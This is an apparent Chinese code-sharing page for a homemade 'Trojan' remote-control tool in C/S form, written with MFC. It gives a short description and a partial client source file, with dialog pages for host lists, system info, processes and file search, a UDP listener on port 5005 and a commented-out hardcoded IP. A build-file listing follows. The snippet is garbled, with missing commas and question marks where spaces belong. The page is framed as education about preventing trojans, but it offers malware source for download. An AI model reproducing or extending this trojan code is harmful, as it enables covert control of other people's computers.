資源簡介
隨著網絡的發展, 越來越多的人們開始依賴網絡。他們在享受網絡帶來的方便和快樂的同時,也受到木馬等病毒的侵害。因此,從木馬的本質、組成、傳播途徑以及攻擊步驟等幾個方面,全面介紹木馬,使計算機用戶更深層次地認識和預防木馬,保障自己的切身利益,防范木馬帶來的危害。
簡單木馬制作
基本思路:本木馬由兩部分組成,即服務端Server程序 和客戶端Client程序,采用的是C/S 模式。
對目的主機的控制主要是通過客戶端發出的命令后,服務器端響應后把結果返回給客戶端,進而起到控制主機的目的。
在程序制作中,使用了計時器方法,當用戶單擊一個命令按鈕時,便啟動了一個以3秒為界限的超時時間,若超出3秒則提示用戶接收信息超時,并關閉定義的計時器,若成功獲取到想要的數據后,并在控件中以顯示出,則也要對剛才定義的計時器關閉。

代碼片段和文件信息
//?MyPropertySheet.cpp?:?implementation?file
//
#include?“stdafx.h“
#include?“Trojan?Client.h“
#include?“MyPropertySheet.h“
#ifdef?_DEBUG
#define?new?DEBUG_NEW
#undef?THIS_FILE
static?char?THIS_FILE[]?=?__FILE__;
#endif
#include
/////////////////////////////////////////////////////////////////////////////
//?CMyPropertySheet
IMPLEMENT_DYNAMIC(CMyPropertySheet?CPropertySheet)
CMyPropertySheet::CMyPropertySheet(UINT?nIDCaption?CWnd*?pParentWnd?UINT?iSelectPage)
:CPropertySheet(nIDCaption?pParentWnd?iSelectPage)
{
AddPage(&HostListDlg);
AddPage(&SystemInfoDlg);
AddPage(&MessageDlg);
AddPage(&ProcessDlg);
AddPage(&FilesFindDlg);
}
CMyPropertySheet::CMyPropertySheet(LPCTSTR?pszCaption?CWnd*?pParentWnd?UINT?iSelectPage)
:CPropertySheet(pszCaption?pParentWnd?iSelectPage)
{
AddPage(&HostListDlg);
AddPage(&SystemInfoDlg);
AddPage(&MessageDlg);
AddPage(&ProcessDlg);
AddPage(&FilesFindDlg);
}
CMyPropertySheet::~CMyPropertySheet()
{
}
BEGIN_MESSAGE_MAP(CMyPropertySheet?CPropertySheet)
//{{AFX_MSG_MAP(CMyPropertySheet)
ON_WM_CREATE()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
//?CMyPropertySheet?message?handlers
int?CMyPropertySheet::OnCreate(LPCREATESTRUCT?lpCreateStruct)?
{
if?(CPropertySheet::OnCreate(lpCreateStruct)?==?-1)
return?-1;
//?TODO:?Add?your?specialized?creation?code?here
::CreateThread(NULL0MyThreadProcTssNULL0NULL);
Sleep(1000);
CMenu*???pSysMenu=GetSystemMenu(FALSE);???
if???(pSysMenu???!=???NULL)???
{???
// ..???
pSysMenu->AppendMenu(MF_STRING???SC_MINIMIZE???“最小化“);???
Modifystyle(0?WS_MINIMIZEBOX);???
// ..???
}???
HICON???m_hIcon;?
m_hIcon???=???AfxGetApp()->?LoadIcon(IDI_ICON1);?
SetIcon(m_hIcon???TRUE);?//???設置大圖標?
SetIcon(m_hIcon???FALSE);?//???設置小圖標?
return?0;
}
DWORD?WINAPI?CMyPropertySheet::MyThreadProcTss(LPVOID?lpParameter)
{
WORD?wVersionRequested;
WSADATA?wsaData;
int?err;
wVersionRequested?=?MAKEWORD(?1?1?);
err?=?WSAStartup(?wVersionRequested?&wsaData?);
if?(?err?!=?0?)
{
return?0;
}
if?(?LOBYTE(?wsaData.wVersion?)?!=?1?||//判斷版本是否為1?1htonl(?INADDR_ANY?);
????????HIBYTE(?wsaData.wVersion?)?!=?1?)??
{
WSACleanup(?);
return?0;?
}
SOCKET?SocketServer?=?socket?(?AF_INET??SOCK_DGRAM??0?);
SOCKADDR_IN?AddressServer;
AddressServer.sin_addr.S_un.S_addr?=?htonl(?INADDR_ANY?);//inet_addr(“183.170.136.149“);
AddressServer.sin_family?=?AF_INET;
AddressServer.sin_port?=?htons(?5005?);
if(bind(?SocketServer??(SOCKADDR*)&AddressServer??sizeof(SOCKADDR)?)!=0)
{
return?0;
}
char?recvBuf[100];?//用于存儲接受的數據
SOCKADDR_IN?AddressClient;?//客戶端的地址信息?
int?len=sizeof(SOCKADDR);//SOCKADDR為結構體名
while(1)
{???
recvfrom(?SocketServer??recvBuf??100??0??(SOCKADDR*)&AddressClient??&len);
theHostIPRecvFromServer=recvBuf;
// CPropHostList?dlg;
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件???????5036??2011-04-04?22:14??Trojan?Client\Debug\APPMODUL.obj
?????文件??????????0??2011-04-04?22:15??Trojan?Client\Debug\APPMODUL.sbr
?????文件??????25233??2011-04-08?18:23??Trojan?Client\Debug\MyPropertySheet.obj
?????文件??????????0??2011-04-08?18:23??Trojan?Client\Debug\MyPropertySheet.sbr
?????文件??????13265??2011-04-05?10:00??Trojan?Client\Debug\MySocket.obj
?????文件??????????0??2011-04-05?10:00??Trojan?Client\Debug\MySocket.sbr
?????文件??????28967??2011-04-08?12:15??Trojan?Client\Debug\PropFilesFindDlg.obj
?????文件??????????0??2011-04-08?12:15??Trojan?Client\Debug\PropFilesFindDlg.sbr
?????文件??????34659??2011-04-13?13:27??Trojan?Client\Debug\PropHostList.obj
?????文件??????????0??2011-04-13?13:27??Trojan?Client\Debug\PropHostList.sbr
?????文件??????26063??2011-04-08?10:36??Trojan?Client\Debug\PropMessageDlg.obj
?????文件??????????0??2011-04-08?10:36??Trojan?Client\Debug\PropMessageDlg.sbr
?????文件??????40303??2011-04-09?20:32??Trojan?Client\Debug\PropProcessDlg.obj
?????文件??????????0??2011-04-09?20:32??Trojan?Client\Debug\PropProcessDlg.sbr
?????文件??????45985??2011-04-09?20:54??Trojan?Client\Debug\PropSystemInfoDlg.obj
?????文件??????????0??2011-04-09?20:54??Trojan?Client\Debug\PropSystemInfoDlg.sbr
?????文件?????105495??2011-04-04?12:00??Trojan?Client\Debug\StdAfx.obj
?????文件????1372058??2011-04-04?12:00??Trojan?Client\Debug\StdAfx.sbr
?????文件????5710848??2011-04-13?13:27??Trojan?Client\Debug\Trojan?Client.bsc
?????文件??????46624??1998-06-17?00:00??Trojan?Client\Debug\Trojan?Client.HLP
?????文件?????326252??2011-06-12?21:02??Trojan?Client\Debug\Trojan?Client.ilk
?????文件??????17102??2011-04-08?18:15??Trojan?Client\Debug\Trojan?Client.obj
?????文件????6936712??2011-04-04?12:00??Trojan?Client\Debug\Trojan?Client.pch
?????文件?????549888??2011-06-12?21:02??Trojan?Client\Debug\Trojan?Client.pdb
?????文件???????6432??2011-04-08?18:22??Trojan?Client\Debug\Trojan?Client.res
?????文件??????????0??2011-04-08?18:15??Trojan?Client\Debug\Trojan?Client.sbr
?????文件??????23475??2011-04-05?13:05??Trojan?Client\Debug\Trojan?ClientDlg.obj
?????文件??????????0??2011-04-05?13:05??Trojan?Client\Debug\Trojan?ClientDlg.sbr
?????文件?????312320??2011-06-12?21:06??Trojan?Client\Debug\vc60.idb
?????文件?????389120??2011-04-13?13:27??Trojan?Client\Debug\vc60.pdb
............此處省略76個文件信息
- 上一篇:最新人臉識別技術實現的人臉識別系統
- 下一篇:CANPro協議分析平臺
評論
共有 條評論